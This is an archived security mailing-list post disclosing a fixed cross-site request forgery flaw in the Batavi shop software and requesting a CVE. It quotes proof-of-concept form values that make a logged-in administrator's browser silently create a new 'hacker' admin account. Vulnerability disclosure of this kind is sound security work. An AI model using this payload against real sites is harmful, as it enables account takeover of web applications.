Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 25 Jan 2011 21:20:52 +0100
From: Ronald van den Blink <>
To: <>
Subject: Batavi 1.0 - XSRF bug fixed


The open source project Batavi has just released their version 1.0 which has
fixed a XSRF exploit which was part of at least their latest alpha release.
Just a quick snippet:

"is a specially prepared page containing a form with a couple of
hidden form values.

$title = "Batavi";
$uri = "http://$host/admin/index.php?administrators&page=1&action=save"; [^
<http://$host/admin/index.php?administrators&page=1&action=save";> ]
$method = "post";

$values = array (
'user_name' => "hacker",
'user_password' => "b4t4v1",
'first_name' => "Evil",
'last_name' => "Hacker",
'mail_address' => "",
'configuration[MAX_DISPLAY_SEARCH_RESULTS]' => "20",
'configuration[CATEGORY_PULL_DOWN_SHOW_PER_PAGE]' => "10, 20, 50, 100",
'configuration[PRODUCTS_SHOW_PRODUCTS_COUNT]' => "2",
'configuration[ADMIN_DEFAULT_LANGUAGE]' => "1",
'configuration[SETTING_TINY_MCE]' => "2",
'configuration[ADMINISTRATOR_STATE]' => "1",
'modules[]' => "*",
'subaction' => "confirm"

Of course these PHP values are converted to an HTML form, this array is
just for my own convenience. I have an XSRF framework to be able to try
and demonstrate this type of attack quickly and clearly.
The HTML form is automatically submitted as soon as the page is loaded.
If the user is visiting the specially prepared page when he is logged in
as an administrator with sufficient permissions, his browser takes him
to the URL the form is submitted to, in this case
=save%22,>  [^ 
=save%22,> ] 
and the browser decides to send along his original session cookie. So
for the application, everything seems in order. The user is logged in
and providing his session data, the IP address is even that of the
actual administrator. Only the HTTP_REFERER might be different, but that
header cannot be trusted anyway, many client security software packages
strip the Referrer header from HTTP requests, so often the header is
nonexistent or blank. You can't block people with blank referrers, they
might be legitimate users, making use of provacy protection software."

As one of the people involved I know it's fixed now, but can we still
receive a CVE for the versions before V0.9.3 beta?



Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.